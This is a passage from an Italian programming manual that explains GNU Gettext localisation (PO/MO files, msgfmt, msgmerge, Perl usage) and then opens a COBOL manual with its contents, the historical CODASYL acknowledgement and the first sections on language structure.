Questo file deve essere modificato, in particolare per ciò che riguarda le prime direttive, ol-

tre che per aggiungere la traduzione della frase che viene visualizzata dal programma. Per esempio, così:

```
# Ciaomondo PO file.
# Copyright (C) 2000 Pinco Pallino
# Pinco Pallino <ppinco@dinkel.brot.dg>, 2000.
#
msgid ""
msgstr ""
"Project-Id-Version: ciao-0.1\n"
"POT-Creation-Date: 2000-05-15 23:05+0200\n"
"PO-Revision-Date: 2000-05-15 22:52+0200\n"
"Last-Translator: Pinco Pallino <ppinco@dinkel.brot.dg>\n"
"Language-Team: Italian <it@li.org>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=iso-8859-1\n"
"Content-Transfer-Encoding: 8bit\n"

#: ciao.c:18
msgid "Hello world\n"
msgstr "Ciao mondo\n"
```

Si osservi che è stato necessario togliere la riga contenente il commento speciale '**#, fuzzy**'.

Il file viene salvato con un nome appropriato; per esempio '`ciao.po`'. Quindi si passa alla sua compilazione, per ottenere il file '`ciao.mo`':

$ **msgfmt -vvvv -o ciao.mo ciao.po** [*Invio*]

Dal momento che il file in questione contiene la traduzione in italiano del programma, deve essere collocato all'interno della gerarchia '`it/LC_MESSAGES/`', a sua volta a partire dalla directory dichiarata con la funzione ***bindtextdomain()***, cioè '`/var/tmp/it/LC_MESSAGES/`' secondo quanto definito nel sorgente C.

A questo punto, dopo la collocazione appropriata del file compilato della traduzione, se la configurazione locale è corretta, lanciando l'eseguibile '**ciao**' si dovrebbe vedere il messaggio tradotto. Eventualmente si veda quanto descritto nella sezione 18.11 per quanto riguarda la configurazione della localizzazione.

82.3 Abbinamento a un «pacchetto»

Perché Gettext sappia qual è il file che contiene i messaggi tradotti, nell'ambito della configurazione locale, fa riferimento a un nome che viene definito «pacchetto», che di solito si sceglie opportunamente simile a quello del programma per il quale si fa la traduzione:

```
textdomain ("pippo");
```

L'esempio mostra l'istruzione da usare in un programma C per stabilire il nome del pacchetto secondo Gettext. Questo nome stabilisce che Gettext debba cercare il file '***sigla_locale***/`LC_MESSAGES/pippo.mo`'. Gettext determina il nome della prima parte del percorso, corrispondente a ciò che qui è stato mostrato con la metavariabile ***sigla_locale***, analizzando alcune variabili di ambiente; precisamente segue questo ordine:

- '**LANGUAGE**'
- '**LC_ALL**'
- altre variabili '**LC_***'
- '**LANG**'

Dal valore contenuto in queste variabili si estrae la prima parte: quella che arriva fino al primo punto, se c'è. In pratica, se per ipotesi la variabile '**LANG**' contiene il valore '**it_IT.ISO-8859-1**', per Gettext è importante solo '**it_IT**'. Tuttavia, anche questa informazione tende a essere eccessiva, dal momento che contiene, oltre al linguaggio, anche l'area nazionale. In pratica, alla fine contano solo le prime due lettere, che esprimono il linguaggio in base allo standard ISO 639 (tabella 14.4).

Gettext analizza il contenuto delle variabili di ambiente perché con la funzione ***setlocale()*** è stata azzerata internamente la definizione '**LC_ALL**'. Usando la funzione ***setlocale()*** si potrebbe imporre un certo linguaggio, indipendentemente dalle variabili di ambiente relative.

Tornando all'esempio iniziale, si tratta del file 'it/LC_MESSAGES/pippo.mo', che in condizioni normali, Gettext cerca a partire dalla directory '/usr/share/locale/' (o eventualmente da un'altra posizione in base al modo in cui è stato compilato). Tuttavia è possibile richiedere espressamente una collocazione differente attraverso un'istruzione già vista da collocare nel programma interessato:

```
bindtextdomain ("pippo", "/var/tmp");
```

In tal caso, se si scrive questo in un programma, Gettext va a cercare precisamente il file '/var/tmp/it/LC_MESSAGES/pippo.mo'.

82.4 Creazione e mantenimento dei file PO

È già stato mostrato in breve come si crea un file PO attraverso il programma '**xgettext**'. È il caso di osservare che '**xgettext**' può ricevere l'indicazione di più file sorgenti che fanno capo allo stesso dominio di traduzione:

xgettext [***opzioni***] ***file_sorgente***...

In particolare, tra le opzioni può essere interessante segnalare '**--default-domain=*dominio***', che serve a '**xgettext**' per conoscere il dominio a cui si fa riferimento, creando così il file '***dominio***.po', invece del solito 'messages.po'.

$ **xgettext --default-domain=ciao *.c** [*Invio*]

L'esempio mostra come ottenere il file 'ciao.po' a partire da tutti i file che terminano con l'estensione '.c'.

Quando si aggiornano i sorgenti di un programma già tradotto, si pone il problema di aggiornare nello stesso modo i file PO precedenti. Per fare questo si deve ricreare il file PO iniziale non tradotto, nel modo appena visto, quindi si usa il programma '**msgmerge**':

```
msgmerge [opzioni] file_po_originale file_po_successivo > file_po_aggiornato
```

In pratica, '**msgmerge**' fonde assieme due file PO, preservando le traduzioni del primo file riferite a messaggi che si trovano ancora nel secondo. Per esempio, se si dispone già del file '`vecchio.po`' con le traduzioni, mentre con '**xgettext**' è appena stato generato un file PO non tradotto per lo stesso programma, che qui viene chiamato '`non_tradotto.po`', si può ottenere un nuovo file PO con le traduzioni vecchie ancora valide e con i messaggi nuovi da tradurre:

```
$ msgmerge vecchio.po non_tradotto.po > nuovo.po [Invio]
```

Naturalmente, questa operazione si fa nel momento in cui ci si accinge ad aggiornare materialmente la traduzione del programma, altrimenti questo lavoro non avrebbe senso, dal momento che un file PO contenente messaggi non tradotti non può essere compilato.

```
msgfmt [opzioni] file_po
```

Il programma '**msgfmt**' è quello che si occupa di compilare i file PO ottenendo i file MO, adatti alla propria piattaforma. È praticamente indispensabile utilizzare l'opzione '**--output-file=***file_mo*' ('**-o**'), per indicare il nome del file da creare. Inoltre, è opportuno utilizzare più di una volta l'opzione '**--verbose**' ('**-v**') per avere una visione chiara del procedimento, ovvero dei motivi per i quali alle volte il file non viene compilato.

```
$ msgfmt -vvvv --output-file=prova.mo prova.po [Invio]
```

L'esempio mostra l'utilizzo tipico di questo programma, dove in particolare viene richiesto un livello di dettaglio delle informazioni generate molto elevato (quattro volte '**-v**').

82.4.1 Commenti «fuzzy»

Ogni volta che qualche indicazione all'interno di un file PO è incerta, in quanto predefinita o determinata automaticamente in modo non sicuro, viene aggiunto un commento speciale contenente la parola '**fuzzy**'. In presenza di commenti del genere si richiede un intervento manuale, dopo il quale deve essere rimossa tale parola, altrimenti '**msgfmt**' si rifiuta di completare la compilazione dei file PO.

82.5 Gettext con i programmi Perl

Esiste la possibilità di utilizzare Gettext anche nei programmi Perl. Per questo è necessario includere nel programma Perl il riferimento a un modulo esterno: Perl-gettext. Il tutto si svolge in maniera molto simile a un programma C, inserendo inizialmente le istruzioni seguenti:

```
use POSIX;
use Locale::gettext;
setlocale (LC_ALL, "");
textdomain ("dominio_gettext");
[bindtextdomain ("dominio_gettext", "directory");]
```

Per esempio, se si tratta del programma «Pippo», il dominio per Gettext potrebbe essere convenientemente «pippo», arrivando al risultato seguente:

```
use POSIX;
use Locale::gettext;
setlocale (LC_ALL, "");
textdomain ("pippo");
bindtextdomain ("pippo", "/opt/pippo/locale");
```

Potrebbe essere che la funzione ***bindtextdomain()*** non si comporti come previsto; in tal caso sarebbe meglio evitarne l'uso.

Per il resto, tutto funziona come per i sorgenti scritti in C:

```
print STDOUT (gettext ("Hello world\n"));
```

Tuttavia, Perl non è identico al C, per cui occorre osservare alcune situazioni specifiche. In particolare, non è possibile inserire in un argomento della funzione ***gettext()*** una variabile di Perl che deve essere espansa, perché questa espansione avverrebbe prima che ***gettext()*** possa ricevere tale argomento. Pertanto, l'esempio seguente non può essere tradotto:

```
# Esempio errato.
print STDOUT (gettext ("Il file $file contiene caratteri non validi\n"));
```

Il modo giusto di agire è quello di sostituire ***print()*** con ***printf()***, come nell'esempio seguente:

```
# Esempio corretto.
printf STDOUT (gettext ("Il file %s contiene caratteri non validi\n"),
               $file);
```

Infatti, il parametro '**`%s`**' viene sostituito alla fine da '**`printf`**', per cui inizialmente la stringa non viene modificata.

Un altro problema da considerare sono i messaggi lunghi, che richiedono più righe. In Perl si potrebbe fare una cosa del genere:

```
    printf STDOUT
      (gettext
        ( "Usage: %s --input-type=TYPE INPUT_FILE REPORT_FILE\n"
        . "       %s --help\n"
        . "       %s --version\n"
        . "\n"
        . "Check for HTTP and FTP URI inside a text.\n"
        . "\n"
        . "Options:\n"
```

```
        . "--help              display this help and exit.\n"
        . "--version           display version information and exit.\n"
        . "--input-type=TYPE   define the input type:\n"
        . "    standard        input is a simple text file;\n"
        . "    html, sgml      input is a typical SGML file;\n"
        . "    texi, texinfo   input is a Texinfo source file.\n"
        . "\n"
        . "Arguments:\n"
        . "\n"
        . "INPUT_FILE          the input file.\n"
        . "\n"
        . "REPORT_FILE         a file that is generated with the reported\n"
        . "                      errors.\n"),
        $program_name, $program_name, $program_name);
```

Ma questo non viene riconosciuto da '**xgettext**' che riesce a prelevare solo la prima riga:

```
#: urichk:55
#, c-format
msgid "Usage: %s --input-type=TYPE INPUT_FILE REPORT_FILE\n"
msgstr ""
```

In queste situazioni eccezionali, occorre intervenire a mano nel file PO; sia la prima volta che si crea il file, sia tutte le volte successive in cui lo si aggiorna.

82.5.1 Adattare il sorgente Perl per facilitare l'estrazione dei messaggi da tradurre

Se si prendono delle piccole precauzioni nella scrittura delle stringhe con Perl, è possibile filtrare il sorgente successivamente, per passarlo a '**xgettext**' in modo che questo possa interpretarlo correttamente (come se fosse un programma C). In pratica, occorre fare in modo che le stringhe siano unite, senza ottenerle attraverso un concatenamento. L'esempio già mostrato va modificato nel modo seguente:

```
    printf STDOUT
      (gettext
        ("\
Usage: %s --input-type=TYPE INPUT_FILE REPORT_FILE\
       %s --help\
       %s --version\
\
Check for HTTP and FTP URI inside a text.\
\
Options:\
--help              display this help and exit.\
--version           display version information and exit.\
--input-type=TYPE   define the input type:\
    standard        input is a simple text file;\
    html, sgml      input is a typical SGML file;\
    texi, texinfo   input is a Texinfo source file.\
\
Arguments:\
```

```
\
INPUT_FILE          the input file.\
\
REPORT_FILE         a file that is generated with the reported\
                      errors."),
        $program_name, $program_name, $program_name);
```

A questo punto, si può realizzare un piccolo programma Perl che inserisce il codice '**`\n`**' alla fine delle righe (sostituendolo alla barra obliqua inversa) e sostituisce il codice '**`\@`**' con '**`@`**':

```
#!/usr/bin/perl
$line = "";
while ($line = <STDIN>)
  {
    $line =~ s/\\$/\\n\\/;
    $line =~ s/\\\@/\@/g;
    print STDOUT ($line);
  }
```

Come si vede, il programma Perl che si ottiene legge dallo standard input ed emette il risultato della sua trasformazione attraverso lo standard output.

82.5.2 Alleviare gli inconvenienti di un modulo in più

Scrivere un programma Perl che faccia uso di Gettext, significa costringere a installare il modulo Perl-gettext. Purtroppo, una delle cose che complicano di più l'utilizzo di programmi Perl sono i moduli aggiuntivi necessari che devono essere installati perfettamente come previsto.

Questo potrebbe sembrare un problema secondario; invece non lo è affatto. A questo punto, se si vuole consentire al proprio programma Perl di funzionare anche in un ambiente non tanto amichevole, si deve prevedere una via di uscita:

```
#!/usr/bin/perl
#
…

use POSIX;
use Locale::gettext;
setlocale (LC_ALL, "");
textdomain ("pippo");

#sub gettext
#{
#    return $_[0];
#}

…
```

Come si vede nell'esempio, appare la dichiarazione di una funzione commentata, il cui scopo sarebbe quello di sostituirsi alla funzione ***gettext()*** del modulo '**`Locale::gettext`**'. Se non si dispone di Perl-gettext basta commentare la prima parte e togliere i commenti dalla seconda: ovviamente i messaggi rimangono così nella lingua di partenza.

```
#!/usr/bin/perl
#
…

#use POSIX;
#use Locale::gettext;
#setlocale (LC_ALL, "");
#textdomain ("pippo");

sub gettext
{
    return $_[0];
}

…
```

[1] **Gettext** GNU GPL

Parte ii

COBOL

83 Manuale COBOL 4937

83.1 Caratteristiche del linguaggio 4942
83.2 Modulo di programmazione 4950
83.3 Divisione «IDENTIFICATION DIVISION» 4956
83.4 Divisione «ENVIRONMENT DIVISION» 4957
83.5 Divisione «DATA DIVISION» 4976
83.6 Descrizione delle variabili 4985
83.7 Tabelle 4993
83.8 Nomi di condizione, raggruppamento e qualificazione 5002
83.9 Modello di definizione della variabile 5007
83.10 Note sull'utilizzo dell'insieme di caratteri universale con il COBOL 5017
83.11 Divisione «PROCEDURE DIVISION» 5018
83.12 Istruzioni della divisione «PROCEDURE DIVISION» 5027
83.13 Riordino e fusione 5075
83.14 Riferimenti 5083

84 Programmare in COBOL 5085

84.1 Preparazione 5087
84.2 Esempi elementari 5093
84.3 Esempi elementari con i file 5117
84.4 Approfondimento: una tecnica per simulare la ricorsione in COBOL 5142
84.5 Riferimenti 5162

Manuale COBOL

Capitolo 83

83.1 Caratteristiche del linguaggio 4942

83.1.1 Organizzazione del programma in forma sorgente 4942
83.1.2 Insieme dei caratteri 4943
83.1.3 Struttura del linguaggio 4944
83.1.4 Notazione sintattica 4949

83.2 Modulo di programmazione 4950

83.2.1 Indicatore 4951
83.2.2 Area A e area B 4952
83.2.3 Interpunzione 4952

83.3 Divisione «IDENTIFICATION DIVISION» 4956

83.3.1 Struttura 4956
83.3.2 Codifica della divisione 4957

83.4 Divisione «ENVIRONMENT DIVISION» 4957

83.4.1 Struttura 4957
83.4.2 Sezione «CONFIGURATION SECTION» 4958
83.4.3 Sezione «INPUT-OUTPUT SECTION» 4961

83.5 Divisione «DATA DIVISION» 4976

83.5.1 Sezione «FILE SECTION» 4977
83.5.2 Sezione «WORKING-STORAGE SECTION» 4985
83.5.3 Altri livelli speciali 4985

83.6 Descrizione delle variabili 4985

83.6.1 Oggetto della dichiarazione 4987
83.6.2 Ridefinizione di una variabile 4987
83.6.3 Opzione «PICTURE» 4989
83.6.4 Opzione «USAGE» 4989
83.6.5 Opzione «SIGN» 4991
83.6.6 Opzione «OCCURS» 4991
83.6.7 Opzione «SYNCHRONIZED» 4992
83.6.8 Opzione «JUSTIFIED RIGHT» 4992
83.6.9 Opzione «BLANK WHEN ZERO» 4992
83.6.10 Opzione «VALUE» 4993
83.6.11 Opzione «RENAMES» 4993

83.7 Tabelle 4993

83.7.1 Dichiarazione di una tabella 4994
83.7.2 Riferimento al contenuto di una tabella 4995
83.7.3 Indice 4995
83.7.4 Tabelle di dimensione variabile 4996
83.7.5 Tabelle ordinate 4998
83.7.6 Scansione delle tabelle 4999

83.8 Nomi di condizione, raggruppamento e qualificazione 5002

83.8.1 Nomi di condizione 5002
83.8.2 Raggruppamento 5004
83.8.3 Qualificazione 5005

83.9 Modello di definizione della variabile 5007

83.9.1 Dichiarazione del modello di definizione della variabile 5007
83.9.2 Variabili alfanumeriche 5008
83.9.3 Variabili alfanumeriche modificate 5010
83.9.4 Variabili numeriche 5011
83.9.5 Variabili numeriche modificate 5013

83.10 Note sull'utilizzo dell'insieme di caratteri universale con il COBOL 5017

83.10.1 Stringhe letterali 5017
83.10.2 modello di definizione delle variabili 5018
83.10.3 Costanti figurative 5018

83.11 Divisione «PROCEDURE DIVISION» 5018

83.11.1 Gruppo di sezioni «DECLARATIVES» 5019
83.11.2 Sezioni e segmenti 5021
83.11.3 Gruppi di istruzioni e istruzioni condizionali 5021
83.11.4 Sezioni, paragrafi e qualificazione 5022
83.11.5 Espressioni aritmetiche 5023
83.11.6 Espressioni condizionali 5023
83.11.7 Avverbi comuni 5026

83.12 Istruzioni della divisione «PROCEDURE DIVISION» 5027

83.12.1 Istruzione «ACCEPT» 5027
83.12.2 Istruzione «ADD» 5029
83.12.3 Istruzione «CLOSE» 5030
83.12.4 Istruzione «COMPUTE» 5031
83.12.5 Istruzione «DELETE» 5031
83.12.6 Istruzione «DISPLAY» 5032
83.12.7 Istruzione «DIVIDE» 5033

83.12.8 Istruzione «EXIT» 5034
83.12.9 Istruzione «GO TO» 5035
83.12.10 Istruzione «IF» 5035
83.12.11 Istruzione «INSPECT» 5037
83.12.12 Istruzione «MOVE» 5041
83.12.13 Istruzione «MULTIPLY» 5043
83.12.14 Istruzione «OPEN» 5044
83.12.15 Istruzione «PERFORM» 5046
83.12.16 Istruzione «READ» 5054
83.12.17 Istruzione «REWRITE» 5058
83.12.18 Istruzione «SEARCH» 5060
83.12.19 Istruzione «SET» 5066
83.12.20 Istruzione «START» 5067
83.12.21 Istruzione «STOP RUN» 5070
83.12.22 Istruzione «STRING» 5070
83.12.23 Istruzione «SUBTRACT» 5072
83.12.24 Istruzione «WRITE» 5073

83.13 Riordino e fusione 5075

83.13.1 Riordino 5075
83.13.2 Fusione 5077
83.13.3 Gestire i dati in ingresso o in uscita attraverso delle procedure 5079
83.13.4 Lettura del risultato dell'ordinamento o della fusione attraverso una procedura 5080
83.13.5 Acquisizione dei dati per il riordino da una procedura 5081

83.14 Riferimenti 5083

01 4981 66 5004 88 5002 ACCEPT 5027 ADD 5029 BLANK WHEN ZERO 4992 BLOCK CONTAINS 4979 CLOSE 5030 CODE-SET 4980 COMPUTE 5031 CONFIGURATION SECTION 4958 DATA DIVISION 4976 DATA RECORD 4979 DECLARATIVES 5019 DELETE 5031 DEPENDING ON 4996 DISPLAY 5032 DIVIDE 5033 ENVIRONMENT DIVISION 4957 EXIT 5034 FD 4977 FILE-CONTROL 4961 FILE SECTION 4977 FILLER 4987 GO TO 5035 IDENTIFICATION DIVISION 4956 IF 5035 INPUT-OUTPUT SECTION 4961 INSPECT 5037 I-O-CONTROL 4972 JUSTIFIED RIGHT 4992 LABEL RECORD 4980 MERGE 5077 MOVE 5041 MULTIPLY 5043 OBJECT-COMPUTER 4959 OCCURS 4991 4993 OPEN 5044 PERFORM 5046 PICTURE 5007 PROCEDURE DIVISION 5018 5027 5075 READ 5054 RECORD CONTAINS 4980 REDEFINES 4981 4987 RELEASE 5081 RENAMES 5004 RETURN 5080 REWRITE 5058 SD 4978 SEARCH 5060 SELECT 4963 4965 4968 SET 5066 SIGN IS 4991 SORT 4969 5075 SOURCE-COMPUTER 4958 SPECIAL-NAMES 4959 START 5067 STOP RUN 5070 STRING 5070 SUBTRACT 5072 SYNCHRONIZED 4992 USAGE 4989 VALUE 4993 VALUE OF 4981 WORKING-STORAGE SECTION 4985 WRITE 5073

Ogni manuale COBOL tradizionale riporta una premessa che cita le origini del linguaggio e le fonti a cui si fa riferimento. Questo tipo di premessa ha soprattutto un valore storico e con tale spirito viene inserita qui.

Il testo seguente è una traduzione tratta dalla pubblicazione *COBOL*, edita dalla Conferenza sui linguaggi dei sistemi di elaborazione dati, CODASYL (*Conference on data system languages*), stampata a cura dell'ufficio stampa del governo degli Stati Uniti d'America.

> *«Questa pubblicazione si basa sul sistema COBOL sviluppato nel 1959 da un comitato composto da utenti governativi e costruttori di elaboratori. Le organizzazioni che hanno preso parte ai lavori iniziali sono state:*
>
> > *Air Material Command, U.S. Air Force;*
> > *Bureau of Standards, U.S. Department of Commerce;*
> > *Burroughs Corporation;*
> > *David Tylor Model Basin, Bureau of Ships, U.S. Navy;*
> > *Electronic Data processing Division, Minneapolis-Honeywell Regulator Company;*
> > *International Business Machines Corporation;*
> > *Radio Corporation of America;*
> > *Sylvania Electric Products, Inc.;*
> > *UNIVAC Division of Sperry Rand Corporation.*
>
> *Oltre alle suddette organizzazioni, le seguenti altre partecipano ai lavori del Gruppo di revisione:*
>
> > *Allstate Insurance Company;*
> > *The Bendix Corporation, Computer Division;*
> > *Control Data Corporation;*
> > *E.I. du Pont de Nemours and Company;*
> > *General Electric Company;*
> > *General Motors Corporation;*
> > *The National Cash Register Company;*
> > *Philco Corporation;*
> > *Standard Oil Company (New Jersey);*
> > *United States Steel Corporation.*
>
> *Questo manuale COBOL è risultato dalla collaborazione fra tutte le organizzazioni citate.*
>
> *Nessuna garanzia, espressa o tacita, è fornita dal comitato o dai singoli collaboratori, circa l'esattezza e il buon funzionamento del sistema di programmazione e del linguaggio. Inoltre, sia il comitato, sia i suoi collaboratori, non si assumono alcuna responsabilità in ordine a quanto esposto.*
>
> *È ragionevole attendersi che molti perfezionamenti e aggiunte vengano fatte al COBOL. Si farà ogni sforzo per assicurare che miglioramenti e correzioni siano apportate con criteri di continuità, tenendo debito conto degli investimenti effettuati dagli utenti nel settore della programmazione. Tuttavia, tali garanzie potranno essere efficacemente mantenute soltanto da coloro che apporteranno perfezionamento o correzioni.*
>
> *Sono state predisposte apposite procedure per l'aggiornamento del COBOL. Le richieste di informazioni circa tali procedure e sulle modalità per proporre modifiche*

dovranno essere inoltrate al comitato esecutivo della Conferenza sui linguaggi dei sistemi di elaborazione dati.

Gli autori e i titolari dei diritti di autore e di riproduzione del materiale così protetto, usato nel presente manuale: FLOW-MATIC (marchio depositato dalla Sperry Rand Corporation) - Sistema di programmazione per i calcolatori UNIVAC® I e II, Data Automation Systems © 1958, 1959 Sperry Rand Corporation; IBM Commercial Traslator, Codice F28-8013, © 1959 IBM; FACT, DSI 27A5260-2760 © 1960 della Minneapolis-Honeywell; hanno esplicitamente autorizzato l'uso di tale materiale, in tutto o in parte, nelle specifiche del COBOL. Tale autorizzazione si estende alla riproduzione e all'uso delle specifiche COBOL in manuali di programmazione o in pubblicazioni analoghe.

Qualsiasi organizzazione che intenda riprodurre il rapporto COBOL e le specifiche iniziali in tutto o in parte, usando idee ricavate da tale rapporto o utilizzando il rapporto stesso come elemento base per un manuale di istruzione o per qualsiasi altro scopo, è libera di farlo. Tuttavia, si richiede a tutte queste organizzazioni di riprodurre la presente sezione, come parte dell'introduzione. Coloro che invece utilizzano brevi citazioni, come nelle rassegne dei nuovi libri, sono pregati di citare la fonte ma non di riprodurre l'intera sezione.»

Successivamente alla Conferenza sui linguaggi dei sistemi di elaborazione dati, CODASYL, il compito di definire lo standard del linguaggio COBOL è stato preso dall'istituto ANSI (*American national standards institute*), che chiede nuovamente di citare la fonte nei manuali di tale linguaggio. Il testo seguente è citato in lingua originale.

«Any organization interested in reproducing the COBOL standard and specifications in whole or in part, using ideas from this document as the basis for an instruction manual or for any other purpose, is free to do so. However, all such organizations are requested to reproduce the following acknowledgement paragraphs in their entirety as part of the preface to any such publication (any organization using a short passage from this document, such as in a book review, is requested to mention "COBOL" in acknowledgement of the source, but need not quote the acknowledgement):

COBOL is an industry language and is not the property of any company or group of companies, or of any organization or group of organizations.

No warranty, expressed or implied, is made by any contributor or by the CODASYL Programming Language Committee as to the accuracy and functioning of the programming system and language. Moreover, no responsibility is assumed by any contributor, or by the committee, in connection therewith.

The authors and copyright holders of the copyrighted material used herein have specifically authorized the use of this material in whole or in part, in the COBOL specifications. Such authorization extends to the reproduction and use of COBOL specifications in programming manuals or similar publications.

FLOW-MATIC (trademark of Sperry Rand Corporation), Programming for the Univac++ I and II, Data Automation Systems copyrighted 1958, 1959, by Sperry Rand Corporation; IBM Commercial Translator Form No. F 28-8013, copyrighted 1959 by IBM, FACT, DSI 27A5260-2760, copyrighted 1960 by Minneapolis-Honeywell.»

Il linguaggio COBOL nasce nel 1959, come linguaggio standard per l'amministrazione degli uffici e il nome sta per *Common business oriented language*, descrivendo precisamente il suo obiettivo.

L'origine così lontana del linguaggio COBOL è responsabile della prolissità della sua sintassi e dei vincoli di forma nella struttura che il programma sorgente deve avere. Tuttavia, questo linguaggio è eccezionale nella gestione dei dati, avvicinandosi alle funzionalità di un sistema di gestione di basi di dati (ovvero un DBMS).

Il linguaggio COBOL è nato da un comitato di utenti e di produttori di elaboratori, con lo scopo di rimanere uniforme, il più possibile, su tutte le piattaforme. Generalmente si considera, correttamente, che il C rappresenti l'esempio di linguaggio di programmazione standard per definizione, ma i contesti sono differenti: il linguaggio C serve a consentire la migrazione di un sistema operativo da una macchina all'altra, mentre il linguaggio COBOL è fatto per consentire la migrazione di programmi applicativi su architetture fisiche e sistemi operativi differenti.

Il linguaggio COBOL è fatto per poter funzionare su sistemi operativi che possono anche essere privi di qualunque astrazione dell'hardware; pertanto, una porzione apposita nella struttura del sorgente è riservata alla dichiarazione delle unità fisiche per lo scambio dei dati (la divisione '**`ENVIRONMENT DIVISION`**'). Utilizzando il COBOL in un ambiente abbastanza evoluto, quanto può esserlo un sistema Unix, molte informazioni diventano inutili e implicite, ma il fatto che con questo linguaggio ci sia la possibilità di operare con la maggior parte degli elaboratori fabbricati dal 1959 in poi, lo rende speciale e degno di apprezzamento per lungo tempo.

Il linguaggio COBOL ha subito nel tempo diverse revisioni, indicate generalmente attraverso l'anno di edizione; un punto di riferimento abbastanza comune è lo standard del 1985, a cui questo manuale, in parte, cerca di adeguarsi. Per quanto riguarda l'ente ISO, è disponibile lo standard ISO 1989.

83.1 Caratteristiche del linguaggio

Il linguaggio COBOL si basa convenzionalmente sulla lingua inglese ed è composto sommariamente da ***parole***, ***istruzioni***, gruppi di istruzioni, ***paragrafi*** e ***sezioni***.

83.1.1 Organizzazione del programma in forma sorgente

Ogni programma COBOL deve contenere quattro divisioni, anche se queste dovessero essere vuote, rispettando l'ordine seguente:

1. '**`IDENTIFICATION DIVISION`**'
2. '**`ENVIRONMENT DIVISION`**'
3. '**`DATA DIVISION`**'
4. '**`PROCEDURE DIVISION`**'

La divisione '**`IDENTIFICATION DIVISION`**' serve a identificare il programma. Vi si possono includere informazioni generali, come il nome del programma stesso, la data di edizione, la data di compilazione, il nome dell'elaboratore per il quale è stato scritto e altre annotazioni.

La divisione ‘**`ENVIRONMENT DIVISION`**’ specifica le apparecchiature usata e i file che servono al programma.

La divisione ‘**`DATA DIVISION`**’ contiene la descrizione dei file e dei record relativi, creati o utilizzati dal programma, assieme a tutte le altre variabili e costanti che servono al programma.

La divisione ‘**`PROCEDURE DIVISION`**’ specifica il procedimento elaborativo da applicare ai dati.

Le «azioni» descritte nel programma COBOL sono espresse in termini di istruzioni, che possono essere riunite in gruppi di istruzioni e poi in paragrafi.

83.1.2 Insieme dei caratteri

I compilatori tradizionali del linguaggio COBOL adottano, a seconda dei casi, il codice ASCII o il codice EBCDIC per la rappresentazione interna dei caratteri; inoltre, in un programma sorgente si può usare soltanto un insieme ristretto di simboli, con l’eccezione del contenuto delle costanti alfanumeriche, che invece è abbastanza libero.

Tabella 83.1. I simboli disponibili nel linguaggio, in generale.

Simboli	Descrizione	Simboli	Descrizione
‘`0`’..‘`9`’	cifre numeriche	‘`A`’..‘`Z`’	lettere maiuscole dell’alfabeto inglese (latino)
‘ ’	spazio		
‘`+`’	segno più	‘`-`’	segno meno o trattino
‘`*`’	asterisco	‘`/`’	barra obliqua
‘`$`’	dollaro o segno di valuta	‘`,`’	virgola
‘`;`’	punto e virgola	‘`.`’	punto fermo
‘`(`’	parentesi aperta	‘`)`’	parentesi chiusa
‘`<`’	minore	‘`>`’	maggiore

Si osservi che il segno di valuta, rappresentato normalmente dal dollaro, può essere ridefinito e rappresentato da un altro simbolo.

Tabella 83.2. Caratteri usati per l’interpunzione.

Simboli	Descrizione	Simboli	Descrizione
‘ ’	spazio bianco		
‘`,`’	virgola	‘`;`’	punto e virgola
‘`.`’	punto fermo	‘`"`’	virgolette
‘`(`’	parentesi aperta	‘`)`’	parentesi chiusa

Tabella 83.3. Caratteri usati per formulare le parole.

Simboli	Descrizione	Simboli	Descrizione
‘`A`’..‘`Z`’	lettere alfabetiche maiuscole, senza accenti	‘`0`’..‘`9`’	cifre numeriche
‘`-`’	trattino		

Tabella 83.4. Caratteri usati come operatori aritmetici.

Simboli	Descrizione	Simboli	Descrizione
‘+’	addizione	‘-’	sottrazione
‘*’	moltiplicazione	‘/’	divisione
‘(’	aperta parentesi	‘)’	chiusa parentesi

Tabella 83.5. Caratteri usati nelle relazioni.

Simboli	Descrizione	Simboli	Descrizione
‘=’	uguale a		
‘<’	minore di	‘>’	maggiore di

Si osservi che, al contrario di tanti altri linguaggi, nati però in momenti successivi, il COBOL non prevede l’uso del trattino basso (‘_’).

83.1.3 Struttura del linguaggio

Il testo di un programma sorgente COBOL è costruito con stringhe di caratteri e separatori, secondo le regole descritte nelle sezioni successive.

83.1.3.1 Separatori

Un separatore è una stringa composta da uno o più caratteri di interpunzione, rispettando le regole seguenti. Si osservi che queste regole non si applicano al contenuto delle costanti non numeriche (le stringhe letterali) e naturalmente non si applicano ai commenti.

- La virgola e il punto e virgola sono separatori, tranne quando appaiono nel modello di definizione di una variabile (‘**PICTURE**’), dove invece sono trattati come parte del modello stesso. La virgola e il punto e virgola, se usati come separatori, possono essere impiegati al posto dello spazio.
- Un punto fermo, seguito da uno spazio, è un separatore. Il punto fermo può apparire soltanto dove ciò è permesso esplicitamente dalle regole grammaticali del linguaggio.
- Le parentesi tonde, usate in coppia, aperta e chiusa, sono separatori. Possono essere usate per delimitare indici, espressioni aritmetiche e condizioni.
- Le virgolette sono separatori. Le virgolette di apertura devono essere precedute da uno spazio o da una parentesi aperta; le virgolette di chiusura devono essere seguite, alternativamente da: uno spazio, una virgola, un punto e virgola, un punto fermo oppure una parentesi chiusa.

  Le virgolette possono apparire solo in coppia, per delimitare costanti alfanumeriche, tranne quando le costanti continuano nella riga successiva.
- Lo spazio usato come separatore può precedere o seguire tutti gli altri separatori, tranne nei casi previsti dalle altre regole grammaticali del linguaggio. Uno spazio compreso tra una coppia di virgolette è una costante alfanumerica e non costituisce un separatore.

I caratteri di interpunzione che appaiono all'interno di un modello di definizione di una variabile ('**PICTURE**') o di una costante numerica, non sono considerati caratteri di interpunzione, piuttosto sono simboli usati per caratterizzare il modello relativo o la costante (le regole per la dichiarazione di un modello di definizione di una variabile sono descritte nella sezione 83.9).

I modelli di definizione delle variabili sono delimitati solo dallo spazio, dalla virgola, dal punto e virgola o dal punto fermo.

83.1.3.2 Stringhe: «character-string»

Nei modelli sintattici, una stringa di caratteri (*character-string*) può essere: un carattere o una sequenza di caratteri contigui, che forma una parola per il linguaggio COBOL; il modello di definizione di una variabili ('**PICTURE**'); un commento. Una stringa di caratteri di questi contesti è delimitata da separatori.

83.1.3.3 Parole

Una «parola» per il linguaggio COBOL è una stringa composta al massimo da 30 caratteri, che può essere:

- una parola definita dall'utente, ovvero *user-defined word*;
- un nome di sistema, ovvero *system-name*;
- una parola riservata, ovvero *reserved word*.

Le parole riservate o di sistema non possono essere utilizzate per fini diversi, pertanto non possono essere ridefinite dall'utente.

83.1.3.4 Parole definite dall'utente

